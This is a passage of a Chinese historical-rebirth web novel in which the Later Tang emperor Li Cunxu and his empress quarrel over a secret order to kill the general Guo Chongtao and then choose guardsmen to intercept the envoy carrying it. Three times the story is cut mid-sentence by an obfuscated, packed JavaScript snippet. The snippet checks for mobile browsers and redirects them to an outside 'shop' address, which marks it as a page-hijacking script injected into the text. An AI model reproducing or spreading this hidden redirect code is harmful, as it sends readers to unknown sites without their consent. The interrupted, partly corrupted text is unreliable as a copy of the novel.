“你……”李存勖气得死去活来,「老蚌孵新珠」是这么用的吗?这词儿能用在男人身上吗?刘一娘这个不知书的夯货! 李存勖再一次扬起手,真恨不能几巴掌扇死这个满口狂言的悍妇,可手掌都高高扬起了,偏这巴掌却始终落不下去。 刘蕙心看到丈夫扬着个巴掌就火气直涨,一掀被子直接在榻上站了起来。 她伸手狠狠一推丈夫,“有本事了呀,你!不去北境打契丹,倒关起门来打自己的女人了?” “为了个貌美宫女,皇帝陛下可真是大显神威啦!你猜起居郎会怎么写你啊,李三郎?会写你是个痴情种子,还是写你是个好色昏君啊?” “你,你……”李存勖气得要命,偏骂又骂不赢,打也不舍得打,最后手一收,颇有些窝窝囊囊地往榻上一坐,哭丧着脸,握起拳头直捶打自己的胸膛,“悍妇当道,天子受屈啊!” 刘蕙心看丈夫都要让她气哭了,忙跟着也坐下来,从背后一把环抱住丈夫。 李存勖火冒三丈,挣了一下道:“别碰我!” 刘蕙心才不听呢,李存勖真要是铁了心不想让她碰,以这男人的一身牛劲儿还能挣不开她? 她用力箍紧丈夫,缓了几分脸色说:“你瞧瞧你,为了个宫人都说了些什么混账话?要是让‘内尚书’听了去,你也不怕自己在后人眼里羞死个人!” “内尚书”可不是外朝六部尚书,而是指宫廷内闱的尚宫局女官。 当今天子的一言一行都须由专门的官员记录,然后交由史馆编写成王朝正史。 天子在外朝时,言行由中书、门下两省的“起居郎”和“起居舍人”记录; 在内朝时,这一重任则由“内尚书”这样的女官担起。 他们帝后两口子今日吵架,吵得还这么厉害,并且事涉重臣婚姻,十有八九会被内尚书记录下来的。 “朕看她们敢!小小女官还敢妄议天子不成?”李存勖气得一佛出世,二佛升天,这一声怒吼简直如同虎啸山林。 外殿里,一个宫女紧贴着内殿入口处的墙面而站,确保能听清楚内殿里的每一句话。 及至听到皇帝的这一声吼,她吓得打了个哆嗦,连忙低声询问自己身旁的上官:“宋司记,我们还要记吗?” 这名出声的宫女,其打扮与普通宫女不同——她头上裹着玄青色的头巾,乍一看与男子的裹头巾无异,不过头巾的末尾处却坠了一枚铜钱,比一般裹头巾多了一分庄重与特别。 她身上的衣裳也类似于男子的朝服,圆领直裰,系着牛皮腰带,并不像一般宫女那般穿襦裙,一眼看去,与其说是宫女,不如说是女扮男装的外朝官员。 站在她身旁的上官也是如此打扮,盖因两人都属于辅佐帝王处理政务的“政务型女官”,为了以示庄重才规定作“裹头袍衫”装扮。 这位担任“司记”一职的宋姓女上官,年近四十,不苟言笑。 她的下属已经吓到发慌,而她却面色毫无波澜,一如往常地提笔在纸上记下殿中正发生之事。 下属肃然起敬,小声问道:“司记不怕陛下问罪吗?” 宋司记泰然道:“如实记录陛下言行,乃是我等职责所在。至于史馆那边要不要采纳我们所记之事,那便是史馆之责了。” 下属茅塞顿开,低声笑道:“还是宋司记高明!”烫手山芋直接扔给史馆。她们只是秉公行事,能有什么错呢? 宋司记脸上浮起些微笑意,但很快又恢复了严肃之态,沉声叮嘱道:“稳重些,别整天嬉皮笑脸的。” 语气虽凶,但话里的意思却尽是关怀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426917|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下属立时收起笑容,耍宝似的乖乖点了点头。 宋司记无奈地摇了摇头,提笔继续记录内殿里的帝后之事。 * 内殿里。 李存勖愤愤挣了挣身子,可皇后就跟个蛮横螃蟹似的,硬是拿那俩钳子死死扒着他,挣也挣不开。 李存勖悲愤交加,眼泪都快气出来了,捶着胸膛仰天哀嚎:“苍天啊,朕贵为天子,却为内妇所欺!我这皇帝当着还有什么意……唔!唔唔!!” 刘蕙心抬手就捂住了丈夫的嘴巴,从后凑个脑袋挨在丈夫脸旁道:“呸呸呸!这种晦气话不准再说!” “你是我大唐王朝的真龙天子,是承续李唐国祚的中兴雄主,是终结乱世的天地英豪!” “你就是太宗再世,是天命所归,是人心所向!” “你当皇帝当然有意思,你就爱当这个皇帝!” “普天之下,除了你河东李氏三郎,就没人配当我大唐天子!” 这通话过分直白,过分蛮横,但又过分动听,过分漂亮。 李存勖那满腔怒火禁不住熄了个七七八八,他的嘴角勾了又撇,撇了又勾,虽然极力压制,但却还是忍不住飞扬了起来。 刘蕙心见把人哄住了,这才把手挪开,好声好气地给丈夫灌起了迷魂汤:“你知我一颗心都扑在你身上,你就是我的天,我不管做什么还不都是为了你?” “自打你进了这洛阳城,整日不是打猎,就是跟些宫女、伶官厮混,都快没个正形儿了。我把那陈姬打发出去,还不是为了你好?” “为我好?”李存勖怎么可能看不穿皇后在打什么小算盘,笑骂道,“你就是嫉妒陈姬,怕她爬你头上去了吧?你个妒妇!” “这话我可不认。”刘蕙心嗔道,“你们男人自个儿花心好色,招惹回来一群莺莺燕燕,怎么反怪我们女人妒忌呢?” “真要让我说,你们男人才是一个个天生的‘妒夫’呢,心眼贼小,强迫自己女人只能有丈夫这一个男人,还写成律令、立成规矩来办。” “要是看到自己女人找了别的男人,你们这些男人就喊打喊杀的,非但不承认自己是‘妒夫’,还反骂女人是‘荡.妇’。我们女人可没你们这么缺德。” 李存勖哭笑不得,“一天天的又跟我生造用词了?你骂谁缺德呢?” 刘蕙心手上柔媚地揉摸丈夫的胸膛,嘴上却小声刺道:“谁应谁是咯。” “你!”李存勖好气又好笑,巴掌一扬,真想好好收拾皇后一顿。 刘蕙心下巴一抬,眉梢一挑,一副“有本事你放马过来”的表情。 李存勖真是败在自家皇后手上了,他无可奈何地收回手,头疼地哀叹:“刘一娘,你一天天的不气我就过不去了,是不是?” 刘蕙心见状,连忙给丈夫揉胸口顺气。她颇会拿捏分寸,知道什么时候该放手撒泼,什么时候该温柔小意。 分寸对了,纵使丈夫骂她一句“悍妇”,那也是夫妻情趣;若是没把握好这个度,那可就真成了讨人嫌的“悍妇”,得不偿失了。 “人家哪儿气你了?”刘蕙心使出撒娇耍赖皮那一套。 纵使人已中年,她也仍是千娇百媚,用起这一招来得心应手,丝毫不见忸怩,“明明是你先气我的嘛。妾都让官家气昏了头,正事儿都还没顾得上干呢。” “官家”乃是皇帝亲眷及其臣僚在日常生活中对皇帝的尊称,与“陛下”相比,少了几分庄重之感,多了几分亲近之意,但绝无亲昵之感。 可这俩字儿从刘蕙心嘴里说出来,就像在蜜罐子里滚了一圈儿,接着又沾了一身的芝麻粒儿,变得甜甜脆脆,叫人听来骨头发酥。 李存勖真是被皇后磨得没脾气了,啼笑皆非地问:“你有什么正事儿要干呢?”他家皇后只要一卖乖称“妾”,再配上一句缠缠绵绵的「官家」,那准是有事儿等着他。 “一件顶顶重要的事儿。”刘蕙心神情严肃起来,从后一手按在丈夫胸口上,一手半托起丈夫的脸,强势却又不失魅惑地让人家抬起脸来看她,“三郎,你可一定要全力支持我。” 李存勖见她这般煞有介事,神色也跟着认真了起来,“你想我做什么?” 刘蕙心正色道:“妾得先知道,官家现在派马彦圭出使巴蜀了吗?”这姓马的可千万别带着密令出发了呀! 7. 第7章 帝后分歧 “派啦,怎么了?”李存勖提起这事儿就不太高兴。 他之所以会派马彦圭出使巴蜀,完全都是因为郭崇韬那个混账东西! 郭崇韬是他潜邸时的老人,跟随他征战十几年。 他对郭崇韬可谓信任无二,所以才会放心大胆地把他家继岌托付给郭崇韬,让其辅佐继岌西征巴蜀。 谁曾想,拿下蜀国后,郭崇韬就耀武扬威起来了。 最开始,是蜀国降臣王宗弼向他家继岌上表,说什么蜀人都很敬重郭公,希望郭公能留在蜀地,担任西川节度使。 真是可笑! 跟他耍什么花枪? 郭崇韬领兵踏平了蜀国。 蜀人不恨死郭崇韬都算好的了,怎么可能大加挽留? 分明是郭崇韬野心大了,想留在蜀地当诸侯,这才借着王宗弼之口来讨要西川节度使之位。 好在他家继岌聪明机变,直接当面回绝了郭崇韬,话也说得很漂亮,大意是“郭公乃为国之元老,贵重如衡岳,朝廷怎会弃郭公于巴蜀蛮夷之地”? 谁知郭崇韬贼心不死,见做不成西川节度使,竟借故在蜀地逗留不走。 朝廷派中使(由宦官充任的使臣)催大军启程回京。 郭崇韬非但拖延不办,居然还不郊迎中使。 中使代表的是皇帝。 郭崇韬不敬中使,那就是不敬他这个皇帝! 这老匹夫嚣张若斯! 更可恨的是,蜀国珠玉金银不知凡几,结果运送回洛阳的却没多少。 一问才知道,原来大头都被郭崇韬父子截留了。 既在蜀地逡巡不走,又大量囤积蜀地珍宝,郭崇韬是想割据蜀地反了不成? 李存勖大为光火,只想派个信得过的大将秘密处死这不臣贼子! 他把这“杀贼重任”交托给了亲姐夫——孟知祥。 可孟知祥劝告他说:“郭崇韬乃是勋旧重臣,绝不可能怀有二心!陛下不如容许臣抵达蜀地后观察他一番。倘若郭崇韬确无他志,臣即刻遣送他归阙,绝不容他在蜀地逗留!” 他让孟知祥说动了心。 虽则郭崇韬如今可恨至极,可这人毕竟曾经跟着他出生入死。 好几次危急关头,都多亏了郭崇韬出谋又出力才逆转形势。 也正是念着这份旧情,他虽说现在确实是想处死郭崇韬,但私心里又确实还保有几分不忍。 因而,他同意了孟知祥的提议,容许孟知祥观察后再做决定。 可等他把孟知祥派出去之后,他却越想越不对劲,越想就越是心里不踏实。 他发觉自己之前漏考虑了一点——那就是孟知祥和郭崇韬私交不错,两人互有恩情。 须知道,郭崇韬此前能在他身边得以重用,那还是多亏了孟知祥的举荐。 而孟知祥此番能获得“西川节度副大使”之职,也是源于郭崇韬在伐蜀之前就推荐孟知祥担任此职。 两人可谓互为官途上的贵人。 此番前往巴蜀,孟知祥私心里肯定是偏向郭崇韬的。 万一孟知祥出于私交故意隐瞒郭崇韬的反状,那岂不是纵虎行凶,事态危矣! 李存勖思来想去,决定再出一招来弥补此等天大漏洞——他以宦官马彦圭为使臣,命其前往巴蜀查看情况。 马彦圭只听命于他,不受孟知祥节制,且和郭崇韬没什么交情,必定不会偏袒郭崇韬。 到时候,就算孟知祥那边偏护郭崇韬,他也可用马彦圭力挽狂澜—— 他给马彦圭下了密令:若是郭崇韬不再逗留巴蜀,及时班师回朝,那便既往不咎(他可不认为郭贼会老实回京)。 可若是郭崇韬仍旧迁延不进,那么,就即刻通知继岌相机杀了这郭贼! “完了!完了完了!!”刘蕙心一听马彦圭已经被派出去了,只觉希望破灭,不由得周身失力,差点晕厥过去。 李存勖忙一把扶住皇后,惊道:“蕙娘,你怎么了?” 刘蕙心半晕在丈夫怀里,脸上已是一片惨白,“妾有罪啊!我给马彦圭下了密令,让他一到成都就立刻通知继岌杀了郭崇韬,不得有半分延误!” 李存勖惊愕了一瞬,但又有种松了口气的感觉,明面上却还是要假意指责一番:“我不是告诉过你不要这么做吗?郭崇韬乃是伐蜀第一功臣,如今事情都还没有查明,怎能擅杀功臣?” 刘蕙心又悔又恨,且不能明着说自己其实是顺着丈夫的心意在办事,只能把马彦圭推出来挡刀:“还不是怪马彦圭那奸贼挑唆我!你让马彦圭到巴蜀后相机行事。” “马彦圭却来找我说,‘形势危急,间不容发,一旦事泄,只怕反受其害!’我让马彦圭拿这话唬住了,这才私下命他不用管什么复命,直接到了成都就叫和哥(魏王李继岌的小名)杀了郭崇韬。” 这番话虽是为了替君主推卸责任,可也确实是事实。 郭崇韬一心想要裁撤宦官,宫里的宦官几乎个个都恨他恨得要死。 加之郭崇韬蔑视宦官,且不愿给宦官送贿赂,宫里稍微有点权势的宦官几乎全让他得罪了个遍。 以马彦圭为代表的中高层宦官,秉承着“趁他病要他命”的原则,抓住这次伐蜀机会,竭力置郭崇韬于死地。 “眼下怎么办啊?我们还能把马彦圭追回来吗?”刘蕙心心急如焚,可话到此处,只觉又看到了生路。 她强自振奋起来,推了推丈夫,催促道:“三郎,快些命人拦截马彦圭!他出发几天了?应该还来得及吧?” 李存勖面容沉肃,一言不发。 刘蕙心忽地就噤了声,心底隐隐有些发毛。 她丈夫这模样就像寺庙里的不动明王——虽没像明王那样金刚怒目,可那沉默不语的样子同样叫人心惧胆颤。 殿内的沉默就像一只无形的手,恶意地掐住刘蕙心的咽喉,让她动也不敢动,说也不敢说。 片刻后,李存勖终于开口打破了沉默:“事已至此,只能听天由命了。” “这决计不可!”刘蕙心惊心骇神。她虽已预料到丈夫不愿阻拦马彦圭,却也没想到丈夫会拒绝得如此干脆,连一点假仁假义都懒得演了。 “密令已下,不可出尔反尔。”李存勖半张脸隐在浅浅的光影中,像是庙里震慑众生的冷酷神佛。 他嘴里所说出的字字句句都带着血腥杀伐之气,“你可曾想过,就算派人拦截住马彦圭,可你终究是下达过诛杀郭崇韬的命令。若是让郭崇韬知晓此事,他会怎么做?” 刘蕙心顿觉一股凉意爬过背脊。 一个武将——而且还是一个刚立了大功、统军在外的武将,若是得知皇帝想杀他,他会怎么做? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426918|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他几乎只有一条路可走——就地造反! 而继岌此刻还孤身在外,到时只怕死无葬身之地! 可若是任由郭崇韬被诛杀,则又会重走前世的老路,他们一家照旧死无葬身之地! 这可真是进退皆死,毫无生路! 不! 不能慌,不能慌…… 刘蕙心强迫自己冷静下来,仔细权衡利弊。 任由郭崇韬被杀,局势就会像上辈子那样走向失控; 可若是阻止郭崇韬被杀,事情虽也有可能失控,但却也许还有转机。 一条是必死之路,一条是险中取生之路。 刘蕙心定了定心神,双手把住丈夫的胳膊,很沉着地道:“不论郭崇韬到底会怎么做,他作为一个臣子,可以被朝廷逼反,但绝不能被朝廷无罪处死!” 李存勖神色异常冷酷,“他都反状毕出了,怎能算是‘无罪处死’?” “哪儿来的‘反状毕出’?”刘蕙心据理力争,急切之下甚至都带上了几分质问,“郭崇韬现在反了吗?” “那些说他‘不敬至尊’‘截留财宝’之事,全都是出自中官(宦官)之口,有哪一件是三郎你亲眼见过、亲自查证过的吗?” 李存勖皮里阳秋地上下打量了她几眼,像是要把她重新认识一遍似的,似讥似嘲地道:“你什么时候变得这么维护郭崇韬了?” “先前,你听说我要派马彦圭出使巴蜀,专程跑来我面前哭求了好几次,要我务必直接下令处死郭崇韬,不要搞什么先观察再决定的名堂。” “这才过去多久啊,你就突然舍不得郭崇韬死了?他是暗地里给你送了多大的好处吗,你就这么卖力地为他改口风?” 刘蕙心愣住了,丈夫最后说的那句话仿佛一把寒冰凝成的刀,正正扎在她身上,叫她发痛又发冷。 好一会儿,她才缓缓回问道:“你这是怀疑我收了郭崇韬的贿赂?” 她的声音很轻,轻到仿佛轻轻一戳就会破碎掉。 李存勖嘴唇嗫嚅了几下,讪讪地没有回话。他方才说的虽然是玩笑话,但确实是藏了几分猜忌之意。 刘蕙心眼眶渐渐红了起来,身体也呈现紧绷之势,就像一头被配偶背叛的母狼。 “李存勖,你到底有没有心?”刘蕙心只觉眼泪涌了上来,却死死忍着不让自己哭出来,以至于嘴唇都微微颤抖起来。 “自打你当了这个皇帝,猜忌心一日比一日重——你疑功臣,疑降将,如今竟是要疑到我头上来了吗?!” 刘蕙心蓦地伸手揪住丈夫衣襟,强忍着泪继续道,“这些年,我为你做了多少次恶人,替你担了多少次恶名,你是一点都不记得了吗?” 李存勖歉疚心起,喃喃道:“我……”可一个“我”字出口,却不知后面该说什么才好。 “我为你做到这个份儿上,你却来疑我?!”刘蕙心用力甩开丈夫的衣襟,纵使她再怎么强做隐忍,却还是有一滴泪溢了出来。 “你问我为什么改口风?”她带着几分狠意道,“因为我不想做那缢死马嵬坡的杨贵妃!” “我身上恶名已经担尽了,哪天到了穷途势竭之境,全天下都会推我当替罪羊!” “到那时,你护得住我吗,我的陛下?你会跟那玄宗皇帝一样,推我去送死,以我一人之头颅以谢天下吗?” 8. 第8章 无将可用 李存勖心绪大震,一时间愧疚难当,也跟着难过到要死。 他蓦地伸手将几欲崩溃的皇后紧紧拥入怀里,双手止不住地微微颤抖,竟是也有几分失态了。 皇后所说的那些场面实在是太残酷了,任何一个君主都不会愿意去想象。 李存勖一时恨死了自己方才嘴贱心盲,万般难过地低声保证道:“不会的,我不会让你落到那种地步的……” “怎么不会?”刘蕙心眼泪直落,虽被丈夫拥着,却没心思做出半分迎合之态,就像一个心已死的木头人一般。 前世受诬而死的场面还犹在眼前,她只觉难过又讽刺,“你想不会就不会吗?郭崇韬现在是功臣啊。” “只要他还没有真的发动叛乱,全天下都认他是大功之人!你现在杀他就是擅杀功臣!天下谁会服你啊,陛下?” “到时候,全天下都不敢责怪你这个圣人,只会把冒杀功臣的罪名尽数推到我身上!你怎么护我啊?你怎么护得住我啊,李存勖!” 李存勖惊心骇神,愈发搂紧怀中的皇后,不知该如何回答才好。 刘蕙心闭上眼睛,任由眼泪流了一会儿,强自平复心情。 再度睁开眼时,她眼里是强作冷静的哀戚。 她轻轻从丈夫怀里抬头来,含泪劝谏道:“官家贵为天子,胸怀天下万民,难道还容不下区区一个郭崇韬吗?” “你暂且留他一命又何妨?纵使郭崇韬日后真的要反,可一个反臣所生之乱,能乱得过擅杀功臣之乱吗?” “反臣生乱,天下共击之;擅杀功臣,则人心尽失!到时候,谁还肯为你出力守江山呢,官家?” 李存勖悚然动容,他自己领兵打仗十多年,人心向背对战局的影响,他比谁都清楚。 到这一刻,他是真被皇后说服了,也是真后悔自己此前纵容马彦圭挑唆皇后杀郭崇韬。 可是—— “就算我现在下令拦截马彦圭,只怕也来不及了!”李存勖悻然而叹。 “为何?”刘蕙心问出这话便自己先反应了过来,“马彦圭到底走了几天了?” “三天。”李存勖常年征伐,对于赶路行速有着近乎直觉的熟悉,“马彦圭既然带了你的密令出发,就必定会疾行赶路。从洛阳到成都,若是日夜兼程,最快六天便能赶到。” “就算现在天寒地冻,可能会碰上大雪封路,马彦圭也能调动驿站人手清路,再怎么耽搁,十天左右也必到成都。我就算现在就派人去追他,八成也是追不上的!” 刘蕙心脸色惨然。 难道重来一世,她还是只能眼睁睁地看着家破人亡、江山易主吗? 不行! 她绝不能就这么认命! “就算‘八成’追不上,那不是还有‘两成’能追上吗?”刘蕙心已没了退路,孤注一掷地道,“我们现在就派人去追马彦圭,驿站人手全力配合,拿出八百里加急的劲头来,我就不信追不上!” 李存勖肃然动容,一时间也被皇后唤起了紧迫、热血之心,那感觉就像之前每一次大战前夕那样,内心虽紧张战栗,却也热血沸腾。 一旦有了这种类似于上战场之感,李存勖就无比冷静清醒。 他从容分析道:“寒天疾行追人,此事非武将不可。此人还必须镇得住马彦圭,且能和郭崇韬说得上话,得要大将才行。依我看,不妨派李绍荣前去。” “万万不可!”刘蕙心骇然失色。 “为何?”李存勖微有不悦,论调兵遣将,他自认独步当世。可他人选才刚说出口就让皇后给否了,他心里怎能痛快? “李绍荣忠心有余,却品性不足,此等要事绝不能交给他来做!”刘蕙心几乎字字都是前世血泪凝成。 虽说上辈子宫变之时,李绍荣一路护送她北逃,甚至为了掩护她,还被乱民打断双腿活捉,但这不足以让她把性命攸关的大事交付给他。 盖因此人之品性不堪以大事相托! * 上辈子,东都皇城里的一部分禁军于兴教门发动叛乱,虽说事出偶然,但又何尝不是缘起于邺都形势失控? 彼时,郭崇韬一家被族诛,天下流言四起。 不知是谁传出谣言说:「魏王在巴蜀被郭崇韬杀了,所以皇帝才怒而族诛了郭氏;而皇后因为忧愤于魏王被杀,一怒之下毒杀了皇帝,对外却谎称皇帝病重不能视朝。如今朝中大政都被皇后把持,洛京内外臣僚都要遭殃了!」 这则谣言荒谬至极,可偏偏有人信了。 更糟糕的是,有人趁势搅浑水! 河朔之地的魏博牙军骄横跋扈,借着「皇帝已遭皇后谋害」的谣言,悍然发动了叛乱,强行攻占邺都,想要趁势割据。 邺都沦陷的消息一经传回东都,举朝震恐。 她家三郎想要亲自去平叛。 可皇帝哪儿能随随便便亲身上战场呢? 经大臣劝阻后,她家三郎暂且打消了亲征念头,转而派了李绍荣前去平叛。 可李绍荣攻邺都久久无功。 三郎只好另派李嗣源前去接手战事。 李嗣源乃是沙场老将,抵达邺都后,就根据形势做出了战略部署,并特意叮嘱了李绍荣要如何配合。 哪曾想,李绍荣自恃是皇帝心腹,不肯听李嗣源调度,以至于贻误战机,致使李嗣源被叛军所挟! 邺都局势也因此进一步恶化。 李绍荣自知失策,担不下此等重责,竟反诬李嗣源已经跟邺都叛军合谋造反! 须知道,李嗣源对李绍荣可是有提携之恩的。 在还没成为皇帝的亲兵之前,李绍荣曾长期在李嗣源麾下行走。 李嗣源欣赏其打仗骁勇,甚至还曾奏请收其为养子,恩礼特隆。 算起来,李嗣源不仅对李绍荣有知遇之恩,还曾是他的养父。 可李绍荣为了推卸失策之责,竟转头就向这位前养父泼起了脏水。 为了避免事情败露,李绍荣还拦截了李嗣源上诉冤情的所有奏章,一心想要逼反李嗣源,让其坐实造反的诬名。 她家三郎知道李嗣源冤枉,特派当时的金枪指挥使李从审——也即李嗣源的长子,前去宣诏抚慰。 哪曾想,李绍荣害怕李嗣源会借着李从审这条路子陈诉冤情,竟不惜在半路上扣下了李从审,并擅自将其处斩! 李从审那孩子忠心敏顺,就这么白白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426919|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了! 刘蕙心直到现在想起来都痛心哀叹。 而李从审一死,李嗣源可算是被逼到无路可走。 邺都形势也糜烂到几乎无可挽回,以至于洛阳皇城的禁军也跟着造反作乱! 因而,上辈子,当她看到李绍荣赎罪一般地独身引开乱民,她既动容却又怨憾难平。 而当她得知李嗣源最终真的跟叛军合流、入洛登基,她既惊诧却又不意外。 她只恨自己和三郎识人不清,用人不明,让一个个元老大将死的死,反的反! 这辈子,她既然有机会挽回这一切,又怎能再错用品性有亏之人? * “更何况,郭崇韬乃为元老重臣,以李绍荣的资历又哪里够格在郭氏面前称‘大将’?”刘蕙心掷地有声,“李绍荣绝不足以托付此事!” 李存勖默然了片刻,愁眉叹道:“我又何尝不知绍荣品性有亏?可他至少忠心可用。如今,继岌之军正滞留巴蜀,倘若不派绍荣前往,我手中又哪里有大将可派?” 刘蕙心愕然半晌,徐徐郑重道:“官家以谋臣猛将取天下,麾下人才济济,又怎会无将可用?” 李存勖像是被人当面扇了两巴掌一般,既难堪又心虚,一时哑口无言。 刘蕙心心下了然,缓缓问道:“是因为——官家现在信不过这些将士吗?” 李存勖面色微怔,愈发缄默不言。皇后之言正中他心底之忧,可这种君臣失和的话他又怎能说出口? 刘蕙心读懂了丈夫的沉默。 她轻轻执起丈夫的手,忧容恳切道:“昔日,官家北灭幽州刘守光,东诛镇州张文礼,南讨中原伪朱梁,每战皆解缰放手,任诸将各展其能。” “所以众将用命,所向披靡!当是时,官家何曾怀疑过麾下将士?为何如今天下在手,官家反倒怀疑起了昔日并肩作战的一众袍泽?” 李存勖心中大动,他又何尝不知自己不该这般妄生猜忌?可至尊权力在手,登高四顾,万方皆似夺权之人! 更别提,当世骄兵悍将横行,诸将又兵权在手,尾大不掉,叫他如何能放手信任他们? “其实真要说信任,妾又何尝敢信任他们?”刘蕙心眸光凝忧,声色虽柔却字字锋利,“可现如今,淮南杨氏未平,北境契丹未灭,西面诸蕃时时作乱,此诚将士用命之时!主上又怎可在此时猜忌将帅,自毁长城!” 李存勖惊然翻悟,后背都差点起了冷汗。 他敛容站起身来,踱步沉思片刻,无奈长叹:“纵我敢用诸将,也远水解不了近渴啊!符习此时远镇青州,安元信镇守沧州,史敬镕镇守安州,李绍奇镇守郑州。” “诸位大将都不在京师,而如今间不容发,等信使先通知他们追人,他们得到消息再出发,已经落后了好几天,又哪里追得上人?” 刘蕙心怔忡片刻,忧切问道:“那若是直接从京中诸将里选人呢?” 李存勖摇头,“京师诸将虽为心腹,可除了李绍荣是真有本事以外,其余委实才干有限。譬如朱守殷之流,几次差点误我大事,我虽以亲信简拔他为‘洛京内外蕃汉马步都虞候’,可他驽才嘴松,我又哪敢把此等要事交给他去办?” 9. 第9章 忠勇人选 刘蕙心哑然,心中不觉复杂至极。 朱守殷当然不行! 且不说这厮在当年打仗时惹出来的一系列乱子了,单是这人在前世禁军叛乱时的表现就足以族诛! 上辈子,洛阳禁军发动叛乱后,驻扎在宫门附近的步军受其影响,一下子溃乱不听指挥。 她丈夫当机立断,派中使去给朱守殷传话,命这厮速速带骑兵前来兴教门救驾。 可直到她丈夫领着数十名近卫屡次杀退叛军,并最终中箭身死,朱守殷也没领兵出现! 若不是这个混账军痞当日坐视她丈夫困守宫城,以她家三郎之能完全可以平息当日那场小规模叛乱。 朱守殷这厮完全对不起她丈夫的一番信任! 可世事向来讽刺。 她丈夫不是不知道朱守殷没本事、不可靠,可又偏偏喜欢听朱守殷说奉承话。 所以,她丈夫明知朱守殷的德行与能力没一样靠得住,却还是把这么个无才佞臣放在了“蕃汉马步都虞侯”这样的位置上,以至于到了紧要关头,竟生生被这么个驽才坑害至死! 更为讽刺的是现在——她丈夫虽清醒地知道朱守殷等京师驽将在这种关键时刻一点都派不上用,却依旧愿意把这些人继续放在重要位置上,一点没想过要把这些草包撤换下来。 或许,人一旦坐到帝王这位置上就容易变得盲目自大,明知道奉承之辈不中用,但又坚信自己能约束、驾驭好这些奸滑之辈,日日心安理得地听这些小人阿谀吹捧,高高在上地以为自己永不可能受这群小人蒙蔽。 可世上哪儿有那么好的事? 久处小人之中又怎可能不沾染丁点昏聩之气? 可现如今不是讨论这种事的时候,当务之急是把马彦圭拦截住。 至于肃清她丈夫身边奸佞之事,绝非一日之功,留待以后慢慢筹谋也不迟。 刘蕙心强自冷静下来,细细琢磨。 其实她丈夫刚才那番话也不尽属实。 京师现在也不是毫无大将可用。 譬如,李嗣源如今就在洛阳。 李嗣源作为她丈夫的养兄,年长她丈夫十八岁,先后效命于她阿翁及她丈夫,是他们大唐的中兴功臣,如今任职镇州节度使,不论是地位还是声望都丝毫不逊于郭崇韬。 今年腊月,李嗣源以庆贺新岁的名义入洛阳觐见。 她丈夫便顺势把李嗣源留在了洛阳,也没提让人返回藩镇的话。 说白了,就是她丈夫如今猜忌李嗣源,根本不放心把人放回镇州去。 所以方才讨论派哪个大将合适时,她丈夫理所当然地把李嗣源这个最合适的人选给直接排除掉了。 不,也许不该说“最合适”。 上辈子,李嗣源被邺都叛军裹挟,入洛登基。 不管李嗣源最初到底有没有造反之心,这人威望高都是不争的事实。 倘若派李嗣源前去截杀马彦圭,说不准又提高了这人的声望,岂不徒增风险? 可若是把李嗣源排除在外,如今在洛阳的其他有能之将显然就更不可靠了。 譬如,朱汉宾之辈,虽是身份、能力都足以和郭崇韬说得上话,可这些人都是梁国的降将,对他们大唐谈不上多忠心。 这种事关大唐根基的事又怎能安排他们去做呢? 如此一来,就又陷入了她丈夫方才提到的困境—— 京中诸将不可用,可用之将不在京。 到底要上哪儿去找合适的人选? 情急之中,刘蕙心脑海中忽地浮现出三个人影。 不过,她只知这三人模样,却叫不出这几人的名字来,甚至连他们的具体职务也不知道,只能大体猜到这几人应该都是宿卫军校。 但这些都难不倒她。 刘蕙心心思转得飞快,大胆提议道:“三郎又何必派大将前往?此次最要紧的是拦截住马彦圭。” “领命者最重要的不在于是否是大将,而在于要身强力壮,经得住长途奔袭,同时还得要嘴巴严、够忠心,最好还要武艺高强,必要时可采用非常手段!” 李存勖听明白了她的意思:“你想让我在近卫里挑人?” “不错。”刘蕙心脸上泪痕犹在,语气却已经沉着了起来,“我前些日子瞧着近卫里有几个不错的后生,估摸着只是军校级别。” “这种中低层军士在禁军里又没多少根基,若得官家提携,自是忠心无二。三郎若是派他们去拦截马彦圭,他们还不得争着出力表现?” 李存勖顿觉醍醐灌顶,颔首笑道:“此法甚妙!”倒是他先前钻牛角尖了,反舍了这等便宜之法。 “不过,”刘蕙心趁势说道,“我只认得那几个健儿长什么样,却不知他们叫什么名字。三郎不若将今日当值的近卫唤来殿前,我也好从中辨认一二。” 此次追截马彦圭所关非细,必须要忠心可靠之人才行。若是旁人举荐一个连名字都喊不上来的人,李存勖绝对当场就直接否了。 可如今保举的人是他家皇后,李存勖的态度就不一样了。 皇后一心为他,平时留意近卫中的忠诚可用之士,只不过叫不上名儿而已,何其正常? 李存勖自然是支持自家皇后,“这有何难?来人啊,宣今日当值宿卫于殿前集合。” 正殿里,一个中年宦官悄悄打了个哈欠,强打起精神站在离内殿不远的地方,等候差遣。 